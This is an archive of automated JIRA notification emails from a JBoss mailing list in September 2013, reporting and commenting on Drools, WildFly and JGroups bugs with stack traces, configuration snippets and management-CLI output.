In-Reply-To: <JIRA.12500014.1378364149679@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500014.1378364149679@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500014.1378364149679.10225.1378364223323@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-250:
-------------------------------------

             Summary: Potential NPE in MVELConstraint
                 Key: DROOLS-250
                 URL: https://issues.jboss.org/browse/DROOLS-250
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 6.0.0.CR2, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
             Fix For: 5.5.1.Final,  6.0.0.CR3


PlainIndexEvaluator in MVELConstraint may throw an NPE
when comparing a String against a null value

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 03:03:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 5 Sep 2013 03:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-251) Classloader fails to resolve
 when annotation and declared class have the same name
In-Reply-To: <JIRA.12500015.1378364475549@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500015.1378364475549@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500015.1378364475549.10230.1378364583356@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-251:
-------------------------------------

             Summary: Classloader fails to resolve when annotation and declared class have the same name
                 Key: DROOLS-251
                 URL: https://issues.jboss.org/browse/DROOLS-251
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 6.0.0.CR2, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
             Fix For: 5.5.1.Final,  6.0.0.CR3


package test

declare Annot
  fld : int @Annot
end

The packagebuilder type resolver will confuse the annotation with the declared class and throw exceptions (varies depending on optional import
statements)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 03:33:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 03:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2003) Failed handling operation
	rollback -- null
In-Reply-To: <JIRA.12500017.1378366299322@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500017.1378366299322@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500017.1378366299322.10265.1378366383436@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2003:
---------------------------------

             Summary: Failed handling operation rollback -- null
                 Key: WFLY-2003
                 URL: https://issues.jboss.org/browse/WFLY-2003
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1



Not sure what's causing these, but when operating the web console in domain mode I see planty of these on the console: 

{noformat}
[Host Controller] 09:29:23,565 ERROR [org.jboss.as.controller.client] (XNIO-1 task-1) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 59f61bf9 for operation composite at address [] failed handling operation rollback -- null
{noformat}


The strange thing is that the management operations return successfully.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 03:38:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 03:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2004) Formatter "COLOR-PATTERN" is
	not found
In-Reply-To: <JIRA.12500018.1378366639484@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500018.1378366639484@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500018.1378366639484.10269.1378366683473@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2004:
---------------------------------

             Summary: Formatter "COLOR-PATTERN" is not found
                 Key: WFLY-2004
                 URL: https://issues.jboss.org/browse/WFLY-2004
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1



Failed to start a server on a second host:

{noformat}
[Host Controller] INFO  [org.jboss.as.host.controller] JBAS010919: Registering server stage1
[Server:stage1] ERROR [org.jboss.as.controller.management-operation] JBAS014612: Operation ("add") failed - address: ([
[Server:stage1]     ("subsystem" => "logging"),
[Server:stage1]     ("console-handler" => "CONSOLE")
[Server:stage1] ]): java.lang.IllegalArgumentException: Formatter "COLOR-PATTERN" is not found
[Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:83) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
[Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:80) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
[Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:338) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
[Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:291) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
[Server:stage1] 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:303)
[Server:stage1] 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
[Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage1] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage1] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Server:stage1] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]

{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 03:42:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 03:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2004) Formatter "COLOR-PATTERN" is
	not found
In-Reply-To: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500018.1378366639000.10289.1378366923501@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2004?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2004:
------------------------------

    Attachment: host.xml

    
> Formatter "COLOR-PATTERN" is not found
> --------------------------------------
>
>                 Key: WFLY-2004
>                 URL: https://issues.jboss.org/browse/WFLY-2004
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>         Attachments: domain.xml, host.xml
>
>
> Failed to start a server on a second host:
> {noformat}
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010919: Registering server stage1
> [Server:stage1] ERROR [org.jboss.as.controller.management-operation] JBAS014612: Operation ("add") failed - address: ([
> [Server:stage1]     ("subsystem" => "logging"),
> [Server:stage1]     ("console-handler" => "CONSOLE")
> [Server:stage1] ]): java.lang.IllegalArgumentException: Formatter "COLOR-PATTERN" is not found
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:83) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:80) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:338) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:291) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:303)
> [Server:stage1] 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 03:42:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 03:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2004) Formatter "COLOR-PATTERN" is
	not found
In-Reply-To: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500018.1378366639000.10293.1378366923672@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2004?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2004:
------------------------------

    Attachment: domain.xml

    
> Formatter "COLOR-PATTERN" is not found
> --------------------------------------
>
>                 Key: WFLY-2004
>                 URL: https://issues.jboss.org/browse/WFLY-2004
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>         Attachments: domain.xml, host.xml
>
>
> Failed to start a server on a second host:
> {noformat}
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010919: Registering server stage1
> [Server:stage1] ERROR [org.jboss.as.controller.management-operation] JBAS014612: Operation ("add") failed - address: ([
> [Server:stage1]     ("subsystem" => "logging"),
> [Server:stage1]     ("console-handler" => "CONSOLE")
> [Server:stage1] ]): java.lang.IllegalArgumentException: Formatter "COLOR-PATTERN" is not found
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:83) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:80) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:338) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:291) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:303)
> [Server:stage1] 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 03:42:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 03:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2004) Formatter "COLOR-PATTERN" is
	not found
In-Reply-To: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500018.1378366639000.10299.1378366923912@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2004?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801790#comment-12801790 ] 

Heiko Braun commented on WFLY-2004:
-----------------------------------

attached the domain master config (domain.xml) and the slave host.xml
                
> Formatter "COLOR-PATTERN" is not found
> --------------------------------------
>
>                 Key: WFLY-2004
>                 URL: https://issues.jboss.org/browse/WFLY-2004
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>         Attachments: domain.xml, host.xml
>
>
> Failed to start a server on a second host:
> {noformat}
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010919: Registering server stage1
> [Server:stage1] ERROR [org.jboss.as.controller.management-operation] JBAS014612: Operation ("add") failed - address: ([
> [Server:stage1]     ("subsystem" => "logging"),
> [Server:stage1]     ("console-handler" => "CONSOLE")
> [Server:stage1] ]): java.lang.IllegalArgumentException: Formatter "COLOR-PATTERN" is not found
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:83) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:80) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:338) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:291) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:303)
> [Server:stage1] 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 03:51:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 5 Sep 2013 03:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1687) CastMessageWithFuture in
	MessageDispatcher
In-Reply-To: <JIRA.12499895.1378286922000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499895.1378286922000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499895.1378286922000.10313.1378367463896@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1687?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1687:
---------------------------

             Fix Version/s: 4.0
    Workaround Description: Force the downcast in the listener to RspList<T>.


You're right. However, I cannot change this now as this breaks existing client code using the listener. I will fix this in 4.0 (where API changes are allowed).

The change involves the listener in MessageDispatcher and RpcDispatcher.

Note: add a test case to RpcDispatcherTest which grabs the results in the listener and checks if they're right.
                
> CastMessageWithFuture in MessageDispatcher 
> -------------------------------------------
>
>                 Key: JGRP-1687
>                 URL: https://issues.jboss.org/browse/JGRP-1687
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> When I used CastMessageWithFuture in MessageDispatcher. I found the following Method declared :
> public <T> NotifyingFuture<RspList<T>> castMessageWithFuture(java.util.Collection<Address> dests, Message  RequestOptions options, FutureListener<T> listener) throws java.lang.Exception
> Is it the FutureListener<T> may be declared to  FutureListener<RspList<T>> ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 04:08:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 04:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2005) Host scoped role adding JVM
	config
In-Reply-To: <JIRA.12500022.1378368419474@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500022.1378368419474@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500022.1378368419474.10326.1378368483528@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2005:
---------------------------------

             Summary: Host scoped role adding JVM config
                 Key: WFLY-2005
                 URL: https://issues.jboss.org/browse/WFLY-2005
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


Although the operation permissions for add() are given, a host scoped fails to create a new JVM on a specific the role is scoped to:

{noformat}

[domain at localhost:9990 /] /core-service=management/access=authorization/host-scoped-role=stage_hosts:read-resource
{
    "outcome" => "success",
    "result" => {
        "base-role" => "maintainer",
        "hosts" => ["slave"]
    }
}


[domain at localhost:9990 /] /host=slave/jvm=small:add(){roles=STAGE_HOSTS}
{
    "outcome" => "failed",
    "result" => undefined,
    "failure-description" => {"host-failure-descriptions" => [("slave" => "JBAS013456: Unauthorized to execute operation 'add' for resource '[
    (\"host\" => \"slave\"),
    (\"jvm\" => \"small\")
]' -- \"Permission denied\"")]},
    "rolled-back" => true
}
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 04:23:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 04:23:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-878) Message-Driven Beans doesn't
 support DeliveryActive activation config property
In-Reply-To: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466868.1337586487000.10341.1378369384278@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-878?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801798#comment-12801798 ] 

RH Bugzilla Integration commented on WFLY-878:
----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> changed the Status of [bug 981341|https://bugzilla.redhat.com/show_bug.cgi?id=981341] from NEW to ASSIGNED
                
> Message-Driven Beans doesn't support DeliveryActive activation config property
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-878
>                 URL: https://issues.jboss.org/browse/WFLY-878
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE, EJB, JMS
>         Environment: Windows 64 bit
>            Reporter: Prasad Deshpande
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha3
>
>
> I get this warning on AS7.1.1 console, seems that ActivationConfigProperty DeliveryActive is not implemented by hornetq-ra, could we please have it as earlier JMS implementation of JMS had it & application that were using it will fail with AS7 now..?
> 16:04:30,794 WARN  [org.jboss.ejb3] (MSC service thread 1-16) JBAS014105: ActivationConfigProperty DeliveryActive will be ignored since it is not allowed by resource adapter: hornetq-ra
> Thanks,
> Prasad

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 04:57:03 2013
From: jira-events at lists.jboss.org (Sipatha S (JIRA))
Date: Thu, 5 Sep 2013 04:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1990) WebsphereMQ 7 Resource
 Adapter error: IJ010061: Unexpected element: archive
In-Reply-To: <JIRA.12499816.1378205952000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499816.1378205952000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499816.1378205952000.10431.1378371423449@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1990?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801813#comment-12801813 ] 

Sipatha S commented on WFLY-1990:
---------------------------------

Not an issue, this was due to other configuration that was incorrect.
                
> WebsphereMQ 7 Resource Adapter error: IJ010061: Unexpected element: archive
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1990
>                 URL: https://issues.jboss.org/browse/WFLY-1990
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Windows 7, 4GB RAM
>            Reporter: Sipatha S
>            Assignee: Jason Greene
>              Labels: resource-adapter
>
> I'm getting the error when trying to configure WebsphereMQ 7 resource adapter on WildFly/JBoss 8. (I have already copied the rar file; *wmq.jmsra.rar* to the deployments directory):
> {noformat}
> 12:23:44,485 DEBUG [org.jboss.as.config] (MSC service thread 1-7) VM Arguments: -XX:+TieredCompilation -XX:+UseCompressedOops -Dprogram.name=standalone.bat -Xms64M -Xmx512M -XX:MaxPermSize=256M -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Dorg.jboss.boot.log.file=C:\Install\WildFly\wildfly-8.0.0.Alpha4\nodes\node01\log\server.log -Dlogging.configuration=file:C:\Install\WildFly\wildfly-8.0.0.Alpha4\nodes\node01\configuration/logging.properties 
> 12:23:54,482 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:322) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:245) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: javax.xml.stream.XMLStreamException: org.jboss.as.connector.util.ParserException: IJ010061: Unexpected element: archive
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:363)
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:94)
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLExtendedStreamReaderImpl.handleAny(XMLExtendedStreamReaderImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.server.parsing.StandaloneXml.parseServerProfile(StandaloneXml.java:1131) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:460) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:147) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:109) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 3 more
